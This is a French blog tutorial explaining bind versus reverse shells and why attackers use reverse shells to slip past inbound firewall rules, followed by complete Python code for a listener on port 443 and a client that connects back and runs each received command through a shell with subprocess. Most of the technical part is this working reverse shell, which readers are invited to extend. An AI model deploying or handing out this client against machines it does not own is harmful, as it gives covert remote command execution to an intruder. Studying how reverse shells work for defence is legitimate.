Reverse Shell
|Changeons un peu d’univers! Aujourd’hui je vous propose de construire votre propre reverse shell !
On va se pencher sur le “pourquoi les pirates informatiques utilisent cet outil?” puis nous allons en faire un nous même pour mieux comprendre comment ça marche !
Niveau Management & Législation: Intéressant
Niveau Technique : On se défend !
Le Shell à l’envers ? Mais qu’est ce donc ?
Et bien commençons par le shell tout court. Le shell, c’est cette petite fenêtre magique qui vous permet de lancer des commandes. C’est la petite fenêtre qui s’ouvre lorsque vous taper cmd sur votre Windows (Démarrer–>Exécuter : cmd) ou xterm, par exemple, pour les Linuxiens.
Bien ! Supposons maintenant que vous ayez une machine B à votre domicile et que vous souhaitiez vous connecter à votre poste de travail A situé dans les locaux de votre société. Pour exécuter les tâches sur votre machine A depuis votre machine B deux possibilités s’offrent à vous.
1 – Le bind Shell
C’est la version la plus simple, vous vous connectez de B vers A directement comme ceci :
C’est le comportement normal de client – serveur. Le client c’est vous (B) et le serveur c’est votre poste de travail (A). Vous envoyez des commandes au serveur qui les exécute.
Pour illustrer cette notion commune de relation Client-Serveur, prenons la navigation sur Internet : votre navigateur internet, (firefox, IE) est le client et ce blog est distribué par un serveur, c’est vous qui vous connectez à 0x0ff.info.
2 – Le reverse Shell
C’est l’inverse (ça vous scie les jambes ça hein !), c’est votre machine A qui va se connecter à votre machine B, toute seule comme une grande :
L’avantage ? Et bien nous ne sommes pas bloqués par le firewall de votre entreprise.
DE QUOI ?!! Oui ! Les firewalls filtrent très souvent les flux d’entrée mais très peu les flux de sortie. Un outil très pratique pour un pirate qui souhaiterait exécuter des commandes sur votre machine, à votre insu (le bougre) et sans être inquiété par une quelconque protection !
La difficulté est que dans un comportement normal Client-Serveur, c’est le client qui envoie les commandes et le serveur qui les exécute. Ici, nous devons faire en sorte que ce soit le serveur qui envoie les commandes, et le client qui les exécute…Tricky !
Reverse shell en simplicité
Avant de commencer
Ce petit tuto a pour objectif de comprendre comment se conçoit un reverse-shell. Avec le code python tel qu’il est proposé, on n’émule pas un shell client sur le serveur, on exécute simplement des commandes à distance sur le client, les actions restent donc limitées. Par exemple, il vous sera impossible d’éditer un fichier avec vi. Mais il ne tient qu’à vous d’améliorer ces bases qui se veulent purement ludiques. N’hésitez pas à faire partager vos trouvailles à la communauté.
Go !
Attention, ça va aller très vite car en python développer un serveur… Bah c’est pas compliqué. Le code est purement pratique, à votre charge d’en faire une petite merveille ! ;)
#!/usr/bin/python import socket import os URL = "127.0.0.1" # l'adresse d'écoute de votre serveur port = 443 # le port d'écoute de votre serveur #Création du serveur server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((URL,port)) server.listen(1) #Connexion du client cnx_client, cnx_info =server.accept() print cnx_info, "is connected" cpt=1 #Ecoute du serveur while cpt>0: msg = raw_input(">>") if len(msg)>0: #si "quit" on quitte if msg == "quit": cnx_client.send(msg) cpt=cpt-1 # si "&" on n'attend pas de retour if msg[:-1]=="&": cnx_client.send(msg) else: #On envoie au client cnx_client.send(msg) #On reçoit le résultat de la part du client data = cnx_client.recv(4096) print data server.close()
Et côté client ?
Aaah voilà le problème ! Crédiou ! Comment faire pour que notre client interprète les commandes que nous voulons lui faire passer dans un shell ? La solution, comme souvent, c’est un bon PIPE ! (sans jeu de mot bande de dépravés!)
En fait, nous allons écrire les données envoyées par le serveur dans un pipe d’entré lors de la création d’un sous-process, nous lirons les retours des pipes de sortie pour les renvoyer au serveur.
Ne dites rien, je le lis dans vos yeux : “EEEh il est bien gentil de nous envoyer du rêve commeu ça, mais comment on fait nous, peu cher ?” . Oui dans mes yeux vous venez du sud et vous parlez comme dans “La Gloire de mon père“.
La commande magique qui va réaliser tout ça est :
proc = subprocess.Popen(args, # command envoyé par le serveur shell=True, # on ouvre dans un nouveau shell stdout=subprocess.PIPE, # stdout stderr=subprocess.PIPE, # stderr stdin=subprocess.PIPE, # stdin preexec_fn=os.setsid) # création d'une référence pid
Ce qui nous donne (vous améliorerez comme bon vous semble):
#!/usr/bin/python import socket import subprocess import os, signal URL = "127.0.0.1" # adresse du serveur port = 443 # port def cmd(c): data = c.recv(4096) #si serveur envoie quit ou donnée vide, on quitte if data == "quit" or len(data) == 0: return True else: #notre process proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, preexec_fn=os.setsid) #on récupère les données à envoyer au serveur stdout_value = proc.stdout.read() + proc.stderr.read() # on kill notre process c'est plus propre os.killpg(proc.pid, signal.SIGTERM) # on envoie si pas de "&" à la fin if data[:-1] != "&" : c.send(stdout_value) return False socket_died=False while not socket_died : # Création de la socket client client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Connexion au serveur client.connect((URL,port)) # client en attente des ordres serveurs while not socket_died: socket_died=cmd(client) client.close()
Félicitation !!! Vous venez de réaliser votre premier reverse shell !! Vous avez le droit de vous jeter nu(e) dans la neige pour faire retomber la pression.